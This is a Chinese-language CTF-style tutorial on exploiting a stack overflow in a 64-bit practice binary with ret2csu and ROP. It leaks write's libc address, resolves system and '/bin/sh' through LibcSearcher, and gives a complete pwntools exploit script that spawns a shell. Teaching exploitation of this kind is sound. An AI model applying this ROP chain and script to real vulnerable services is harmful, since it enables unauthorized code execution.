程序在编译的时候会加入一些通用函数来进行初始化操作,所以可以针对初始化函数来提取一些通用的gadget,通过泄露某个在libc中的内容在内存中的实际地址,通过计算偏移量来得到system和bin/sh的地址,然后利用返回指令ret连接代码,最终getshell。
chechsec命令检查是否有canary保护
IDA反汇编
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
vulnerable_function(1LL, "Hello, World\n");
return 0;
}
通过看源代码可能看不出什么,我们来看一下vulnerable_function,
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
由此看出可以利用栈溢出来进行泄露,找到system和bin/sh。
32位和64位区别
linux_64与linux_86的区别主要有两点:
一是编址不同,内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
二是传参不同,函数参数的传递方式发生了改变,因为64位程序的传参规则变了,所以我们的rop也要进行相应变动。
在原来的32位程序中我们会直接将目标函数的入口地址和相应的参数放在payload中,最后进行rop时,参数是根据与ebp的相对位置来进行确定的。
而在64位程序中,我们不仅要将目标函数的入口地址和相应参数放在payload中,同时还要插入一些gadget,将参数放入相应的寄存器中,从而达到传参的目的。
动态调试
利用IDA可以看到
64位可以直接看出实现栈溢出需要填充多少字符,然后边写脚本边调试,构造payload。这里的payload是利用write()输出write在内存中的位置。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
payload='a'*(0x80+8)+p64(pop_6)+p64(0)+p64(1)+p64(got_write)+p64(1)+p64(got_write)+p64(8)
payload+=p64(move_3)
payload+='a'*56+p64(main)
payload+=‘a’*56+p64(main)中的“‘a’*56”是为了填充掉ret前的7条指令,即
通过脚本与程序的交互,我们可以得到write函数的实际地址
然后计算偏移量来得到通过计算偏移量来得到system和bin_sh的地址
libc =LibcSearcher('write',write)
libcbase=write-libc.dump('write')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
这里就是用了LibcSearcher函数,通过代码不难理解其中的含义。
执行之后的结果就是得到了system和bin_sh的实际地址
现在继续调试,此时程序再次执行main函数,所以需要再构造一个payload,将system与bin_sh的地址加在ROP链中,此时我们可以利用read()将system的地址和bin/sh读入到.bss段内存中,来构造payload。但在这里我们也可以利用ROPgadget搜索一下程序中所有的pop|ret,看能不能找到一个gadget将rdi的值指向bin/sh的地址。
发现确实有这样的gadget
所以payload构造如下
payload='a'*0x88+p64(0x00000000004005f3)+p64(bin_sh)+p64(system)
这样就可以利用ROP链调用system执行system(“/bin/sh”),这样再次与程序交互,就可以getshell了。
来看一下最终的脚本
from LibcSearcher import *
from pwn import *
import pwnlib
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./shiyan44')
elf=ELF('./shiyan44')
got_write=elf.got['write']
got_read=elf.got['read']
main=0x0000000000400558
pop_6=0x00000000004005EA
move_3=0x00000000004005D0
bss_adr=0x0000000000601038
elf.addr=0x0000000000400000
payload='a'*(0x80+8)+p64(pop_6)+p64(0)+p64(1)+p64(got_write)+p64(1)+p64(got_write)+p64(8)+p64(move_3)+'a'*56+p64(main)
#gdb.attach(p)
p.recvuntil("World\n")
p.sendline(payload)
write=u64(p.recv(8).ljust(8,'\x00'))
print ('write',hex(write))
libc =LibcSearcher('write',write)
libcbase=write-libc.dump('write')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
payload='a'*0x88+p64(0x00000000004005f3)+p64(bin_sh)+p64(system)
p.recvuntil("World\n")
p.sendline(payload)
p.interactive()
getshell成功!
64位的传参方式的不同,很大的程度上改变了ROP链的构造方式,但是其中的思想和最终的目的都是一样的,就是先泄露system和bin/sh,然后调用system()函数执行bin/sh。